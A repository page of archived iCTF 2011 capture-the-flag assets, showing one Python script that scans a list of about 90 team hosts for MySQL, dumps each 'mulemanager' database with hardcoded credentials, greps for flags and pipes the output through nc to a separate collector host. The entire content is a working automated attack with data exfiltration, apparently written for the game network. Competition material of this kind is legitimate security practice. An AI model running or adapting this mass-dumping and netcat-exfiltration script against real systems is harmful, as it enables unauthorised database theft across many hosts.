ctf-2011

old assets from capture-the-flag ictf 2011

git clone https://9o.is/git/ctf-2011.git

ex-mulemanager.py

(1919B)


      1 #!/usr/bin/env python
      2 import os
      3 from socket import *
      4 
      5 def check_first(host, port):
      6     s = socket(AF_INET, SOCK_STREAM) 
      7     s.settimeout(0.5) 
      8     
      9     result = s.connect_ex((host, port))  
     10 
     11     ok = False
     12     if(result == 0) :  
     13         ok = True
     14     s.close()
     15     
     16     return ok
     17     
     18 while True:
     19     # Down: 
     20     # Problem: 
     21     for host in ['10.13.136.3', '10.13.145.3', '10.13.188.3', '10.13.179.3', '10.13.157.3', '10.13.155.3', '10.13.190.3', '10.13.148.3', '10.13.208.3', '10.13.213.3', '10.13.165.3', '10.13.176.3', '10.13.211.3', '10.13.194.3', '10.13.185.3', '10.13.196.3', '10.13.129.3', '10.13.215.3', '10.13.146.3', '10.13.151.3', '10.13.202.3', '10.13.139.3', '10.13.174.3', '10.13.142.3', '10.13.198.3', '10.13.181.3', '10.13.206.3', '10.13.150.3', '10.13.168.3', '10.13.184.3', '10.13.169.3', '10.13.199.3', '10.13.135.3', '10.13.141.3', '10.13.177.3', '10.13.153.3', '10.13.187.3', '10.13.138.3', '10.13.152.3', '10.13.166.3', '10.13.143.3', '10.13.134.3', '10.13.163.3', '10.13.205.3', '10.13.186.3', '10.13.156.3', '10.13.180.3', '10.13.133.3', '10.13.193.3', '10.13.195.3', '10.13.154.3', '10.13.200.3', '10.13.175.3', '10.13.131.3', '10.13.170.3', '10.13.167.3', '10.13.162.3', '10.13.173.3', '10.13.212.3', '10.13.207.3', '10.13.171.3', '10.13.164.3', '10.13.140.3', '10.13.214.3', '10.13.191.3', '10.13.161.3', '10.13.192.3', '10.13.178.3', '10.13.137.3', '10.13.210.3', '10.13.159.3', '10.13.158.3', '10.13.189.3', '10.13.172.3', '10.13.182.3', '10.13.149.3', '10.13.130.3', '10.13.183.3', '10.13.203.3', '10.13.147.3', '10.13.160.3', '10.13.204.3', '10.13.144.3', '10.13.197.3', '10.13.132.3', '10.13.209.3', '10.13.201.3']:
     22         print host
     23         if check_first(host, 3306):
     24             print 'up'
     25             os.system('(echo '+host+' && echo mulemanager && ./timeout3 -t 10 mysqldump5 -h '+host+' -umulemanager -pgrabthiswhileyoucan mulemanager|grep flg)|nc 10.13.147.24 2324')
     26